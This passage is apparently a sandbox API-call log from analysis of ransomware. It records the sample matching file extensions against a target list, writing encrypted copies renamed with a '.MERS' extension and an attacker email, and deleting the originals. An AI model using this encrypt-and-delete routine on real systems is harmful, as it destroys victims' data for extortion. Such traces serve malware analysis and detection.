Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.221] lstrlenW (lpString=".doc") returned 4 [0049.221] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.221] lstrlenW (lpString=".docx") returned 5 [0049.221] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.221] lstrlenW (lpString=".pdf") returned 4 [0049.221] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.221] lstrlenW (lpString=".xls") returned 4 [0049.221] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.221] lstrlenW (lpString=".xlsx") returned 5 [0049.222] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.222] lstrlenW (lpString=".ppt") returned 4 [0049.222] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.222] lstrlenW (lpString=".zip") returned 4 [0049.222] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.222] lstrlenW (lpString=".rar") returned 4 [0049.222] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.222] lstrlenW (lpString=".bz2") returned 4 [0049.222] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.222] lstrlenW (lpString=".7z") returned 3 [0049.222] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.222] lstrlenW (lpString=".dbf") returned 4 [0049.222] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.222] lstrlenW (lpString=".1cd") returned 4 [0049.222] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.222] lstrlenW (lpString=".jpg") returned 4 [0049.222] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.222] lstrlenW (lpString=".doc") returned 4 [0049.222] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.222] lstrlenW (lpString=".docx") returned 5 [0049.222] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.222] lstrlenW (lpString=".pdf") returned 4 [0049.222] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.223] lstrlenW (lpString=".xls") returned 4 [0049.223] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.223] lstrlenW (lpString=".xlsx") returned 5 [0049.223] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.223] lstrlenW (lpString=".ppt") returned 4 [0049.223] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.223] lstrlenW (lpString=".zip") returned 4 [0049.223] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.223] lstrlenW (lpString=".rar") returned 4 [0049.223] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.223] lstrlenW (lpString=".bz2") returned 4 [0049.223] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.223] lstrlenW (lpString=".7z") returned 3 [0049.223] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.223] lstrlenW (lpString=".dbf") returned 4 [0049.223] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.223] lstrlenW (lpString=".1cd") returned 4 [0049.223] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0049.223] lstrlenW (lpString=".jpg") returned 4 [0049.223] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.223] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.224] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.224] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=37440) returned 1 [0049.224] CloseHandle (hObject=0x20c) returned 1 [0049.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0049.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.224] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.224] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.225] GetLastError () returned 0x0 [0049.225] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x9240, lpOverlapped=0x0) returned 1 [0049.249] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0049.251] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.251] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.251] SetEndOfFile (hFile=0x210) returned 1 [0049.251] CloseHandle (hObject=0x210) returned 1 [0049.251] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.251] SetEndOfFile (hFile=0x20c) returned 1 [0049.253] CloseHandle (hObject=0x20c) returned 1 [0049.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.253] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0049.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.253] lstrlenW (lpString=".doc") returned 4 [0049.253] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.253] lstrlenW (lpString=".docx") returned 5 [0049.253] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.253] lstrlenW (lpString=".pdf") returned 4 [0049.253] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.253] lstrlenW (lpString=".xls") returned 4 [0049.253] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.253] lstrlenW (lpString=".xlsx") returned 5 [0049.254] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.254] lstrlenW (lpString=".ppt") returned 4 [0049.254] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.254] lstrlenW (lpString=".zip") returned 4 [0049.254] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.254] lstrlenW (lpString=".rar") returned 4 [0049.254] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.254] lstrlenW (lpString=".bz2") returned 4 [0049.254] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.254] lstrlenW (lpString=".7z") returned 3 [0049.254] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.254] lstrlenW (lpString=".dbf") returned 4 [0049.254] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.254] lstrlenW (lpString=".1cd") returned 4 [0049.254] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.254] lstrlenW (lpString=".jpg") returned 4 [0049.254] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.254] lstrlenW (lpString=".doc") returned 4 [0049.254] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.254] lstrlenW (lpString=".docx") returned 5 [0049.254] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.254] lstrlenW (lpString=".pdf") returned 4 [0049.254] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.254] lstrlenW (lpString=".xls") returned 4 [0049.255] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.255] lstrlenW (lpString=".xlsx") returned 5 [0049.255] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.255] lstrlenW (lpString=".ppt") returned 4 [0049.255] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.255] lstrlenW (lpString=".zip") returned 4 [0049.255] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.255] lstrlenW (lpString=".rar") returned 4 [0049.255] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.255] lstrlenW (lpString=".bz2") returned 4 [0049.255] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.255] lstrlenW (lpString=".7z") returned 3 [0049.255] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.255] lstrlenW (lpString=".dbf") returned 4 [0049.255] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.255] lstrlenW (lpString=".1cd") returned 4 [0049.255] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0049.255] lstrlenW (lpString=".jpg") returned 4 [0049.255] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.255] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.255] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.256] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1593) returned 1 [0049.256] CloseHandle (hObject=0x20c) returned 1 [0049.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0049.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.257] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.257] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.728] GetLastError () returned 0x0 [0049.728] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x639, lpOverlapped=0x0) returned 1 [0049.752] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x640, lpOverlapped=0x0) returned 1 [0049.816] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.816] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.816] SetEndOfFile (hFile=0x1f8) returned 1 [0049.816] CloseHandle (hObject=0x1f8) returned 1 [0049.816] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.817] SetEndOfFile (hFile=0x20c) returned 1 [0049.817] CloseHandle (hObject=0x20c) returned 1 [0049.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.817] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0049.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.818] lstrlenW (lpString=".doc") returned 4 [0049.818] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.818] lstrlenW (lpString=".docx") returned 5 [0049.818] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.818] lstrlenW (lpString=".pdf") returned 4 [0049.818] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.818] lstrlenW (lpString=".xls") returned 4 [0049.818] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.818] lstrlenW (lpString=".xlsx") returned 5 [0049.818] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.818] lstrlenW (lpString=".ppt") returned 4 [0049.818] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.818] lstrlenW (lpString=".zip") returned 4 [0049.818] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.818] lstrlenW (lpString=".rar") returned 4 [0049.818] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.818] lstrlenW (lpString=".bz2") returned 4 [0049.818] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.818] lstrlenW (lpString=".7z") returned 3 [0049.818] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.818] lstrlenW (lpString=".dbf") returned 4 [0049.818] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.819] lstrlenW (lpString=".1cd") returned 4 [0049.819] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.819] lstrlenW (lpString=".jpg") returned 4 [0049.819] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.819] lstrlenW (lpString=".doc") returned 4 [0049.819] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.819] lstrlenW (lpString=".docx") returned 5 [0049.819] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.819] lstrlenW (lpString=".pdf") returned 4 [0049.819] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.819] lstrlenW (lpString=".xls") returned 4 [0049.819] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.819] lstrlenW (lpString=".xlsx") returned 5 [0049.819] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.819] lstrlenW (lpString=".ppt") returned 4 [0049.819] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.819] lstrlenW (lpString=".zip") returned 4 [0049.819] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.819] lstrlenW (lpString=".rar") returned 4 [0049.819] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.819] lstrlenW (lpString=".bz2") returned 4 [0049.819] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.819] lstrlenW (lpString=".7z") returned 3 [0049.819] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.819] lstrlenW (lpString=".dbf") returned 4 [0049.820] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.820] lstrlenW (lpString=".1cd") returned 4 [0049.820] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0049.820] lstrlenW (lpString=".jpg") returned 4 [0049.820] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.820] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.820] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.886] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15737) returned 1 [0049.886] CloseHandle (hObject=0x1c4) returned 1 [0049.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0049.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0049.887] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.887] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.887] GetLastError () returned 0x0 [0049.887] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0049.955] WriteFile (in: hFile=0x214, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0049.956] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.956] WriteFile (in: hFile=0x214, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.956] SetEndOfFile (hFile=0x214) returned 1 [0049.956] CloseHandle (hObject=0x214) returned 1 [0049.956] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.956] SetEndOfFile (hFile=0x1c4) returned 1 [0049.957] CloseHandle (hObject=0x1c4) returned 1 [0049.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.957] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0049.957] 